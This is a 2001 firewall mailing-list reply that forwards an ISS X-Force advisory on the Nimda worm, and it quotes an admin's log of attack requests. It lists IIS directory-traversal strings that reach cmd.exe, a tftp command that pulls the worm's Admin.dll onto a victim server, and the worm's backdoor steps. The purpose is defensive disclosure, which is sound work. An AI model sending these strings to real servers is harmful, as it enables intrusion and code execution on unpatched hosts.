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Re: [FW1] New worm on the road?



I've found this on an other mailling list (Xforce)

Internet Security Systems Security Alert
September 18, 2001

Aggressive Propagation of Nimda Worm

Synopsis:

ISS X-Force has captured a new Internet worm, known as Nimda, that
contains much of the functionality of Code Red worm and its
derivatives. Nimda attempts to identify vulnerable Microsoft IIS servers

and deface them, and attempts to infect additional systems. Nimda is
potentially more dangerous than Code Red or Code Blue, because it
includes a powerful e-mail distribution component. Code Red was limited
to infecting Web servers running IIS. Nimda, on the other hand, can
infect any Windows system, and then distribute further by emailing
copies of itself to individuals in MAPI (Messaging Application
Programming Interface) address books, or by identifying and infecting
vulnerable IIS servers. This distinction means that there may be
millions of infections. Indications of severe network outages related
to the massive amount of network traffic this worm generates have
already been reported.

Description:

Nimda is vastly different from Code Red in how it propagates. Nimda
takes advantage of standard e-mail distribution techniques to broaden
the eligible pool of target hosts. Instead of only attacking Web servers

with Web server vulnerabilities, Nimda is designed to propagate via
spoofed e-mail. The e-mail is spoofed to appear as if it came from
trusted sources. Nimda relies on extensive local propagation once a
system is infected. It replaces .dll, .eml, .nws files on all shared
drives. It also appends itself to all .htm, .html, and .asp files on
the infected system. This also allows the worm to spread to remote
users when they access Web pages on infected servers.

IIS Scanning and Propagation

Nimda will use several Unicode Web Folder Traversal vulnerability attack

strings to probe for vulnerable IIS systems. The attack strings used are

as follows:

/scripts
/MSADC
/scripts/..%255c..
/_vti_bin/..%255c../..%255c../..%255c..
/_mem_bin/..%255c../..%255c../..%255c..
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c..
/scripts/..%c1%1c..
/scripts/..%c0%2f..
/scripts/..%c0%af..
/scripts/..%c1%9c..
/scripts/..%%35%63..
/scripts/..%%35c..
/scripts/..%25%35%63..
/scripts/..%252f..
/root.exe?/c+
 (root.exe is the backdoor that Code Red II installed on infected
servers)

Nimda appends "/winnt/system32/cmd.exe?/c+dir" to the end of each attack

string and inspects output to determine if the target system is
vulnerable. If a vulnerable IIS Web server is found, Nimda will append
the following command to an attack string to upload a copy of the worm
to the vulnerable server:

tftp%%20-i%%20%s%%20GET%%20Admin.dll%%20

E-mail Propagation

Nimda will read the e-mail address books on the infected system. It will

e-mail a copy of itself to each address in the list. The Subject: lines
of the e-mails containing the worm will vary.

Backdoor Functionality

Once a computer is infected with Nimda, the worm takes steps to
"backdoor" the infected system, by creating accounts that could provide
further access to the system by remote attackers. Nimda will create a
"guest" account if it doesn't already exist, or activate it if it has
been disabled. It will also add the guest user to the "Guests" and
"Administrators" groups.

Nimda will also open the "C:" share to the Internet, giving full access
to the C: drive of the infected computer. Attackers from anywhere on the

Internet may access this share with full read/write access, once this
share is opened.

Recommendations:

ISS RealSecure detects the Nimda worm through the HTTP_IIS_URL_Decoding
signature. This signature was included in Network Sensor X-Press Update
3.1 and Server Sensor 6.0.1. RealSecure Network Sensor also detects the
Nimda worm with the HTTP_Windows_Executable signature.

ISS BlackICE products will the trigger the "2000639 - HTTP UTF8
backtick"
and "2002595 - IIS system32 command" events.

ISS Internet Scanner customers can test for this vulnerability using the

IisUnicodeTranslation check, which was included in XPU 4.4 (and later
updated in XPU 4.8).

ISS System Scanner customers can test for this vulnerability using the
MS00-078 check included in XPU 1.13 (#13).

ISS X-Force recommends that all users contact their anti-virus vendor
for software updates and Nimda removal information.

Microsoft IIS administrators who have not yet installed the patch for
the Web Server Folder Traversal vulnerability are encouraged to do so
immediately.

For Microsoft IIS 4.0:
http://www.microsoft.com/ntserver/nts/downloads/critical/q269862

For Microsoft IIS 5.0:
http://www.microsoft.com/windows2000/downloads/critical/q269862

The Nimda worm takes advantage of well-known security weaknesses in IIS,

as well as a general lack of security awareness among Internet users
regarding e-mail attachments. ISS recommends that all IIS administrators

apply all security patches immediately and follow published Microsoft
IIS Security Checklists. Please refer to the links in the Additional
Information section.


Additional Information:

ISS X-Force recommends that all Web site administrators review the
appropriate IIS Security Checklist from Microsoft, and verify that their

IIS Web servers have been configured securely. IIS servers that have
been configured securely, using the Checklists, are not vulnerable to
many of the recent and widely publicized remote IIS exploits.

The IIS Security Checklists are available at the following locations:

For Microsoft IIS 4.0:
http://www.microsoft.com/technet/itsolutions/security/tools/iischk.asp

For Microsoft IIS 5.0:
http://www.microsoft.com/technet/security/iis5chk.asp

Web site administrators are also strongly encouraged to apply the latest

IIS cumulative security patch to prevent Web servers from being
compromised by this and other IIS exploits. This patch is available from

the following Microsoft Security Bulletin:

http://www.microsoft.com/technet/security/bulletin/MS01-044.asp

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Best regards,
David

Patrick Coomans wrote:

>  Since this evening I am experiencing massive attacks on HTTP (IIS
> oriented I presume) from many different IP addresses. They all look
> like: GET
> /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0
> GET /scripts/root.exe?/c+dir HTTP/1.0
> GET /MSADC/root.exe?/c+dir HTTP/1.0
> GET /MSADC/root.exe?/c+dir HTTP/1.0
> GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0
> GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0
> GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
> GET
> /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0
> GET
> /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0
> GET
> /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0
> GET
> /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0
> GET
> /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0
> GET
> /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0
> GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
> GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0
> GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0
> GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
> GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0
> GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0
> GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
> GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0
> GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0
> GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0
> GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0 Is
> anyone aware that this is some new kind of worm?Now my FW1 question:
> can I create a HTTP resource (secure server) that blocks all requests
> that e.g. have a .EXE in it ?  Or would that slow my FW1's down to
> much? Any other suggestions for good products that can do HTTP content
> inspection and that cooperate or can co-exist with fw1
> ?  Thanks,Patrick

--
David LEFEVRE
CARDIF - Architecture et Sécurité Opérationnelle
[email protected] - Tél : 01 41 42 76 63
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